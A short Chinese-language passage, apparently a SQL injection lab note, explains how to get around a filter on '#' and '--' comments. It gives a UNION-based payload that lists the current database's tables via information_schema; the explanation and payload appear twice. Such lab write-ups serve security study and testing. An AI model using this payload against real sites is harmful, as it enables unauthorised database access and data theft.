这里过滤掉了 # 和 -- ,所以这里第一条件就是要让union前面的条件失效,第二就是通过结尾的
and '1'='1 进行绕过
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
这里过滤掉了 # 和 -- ,所以这里第一条件就是要让union前面的条件失效,第二就是通过结尾的
and '1'='1 进行绕过
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1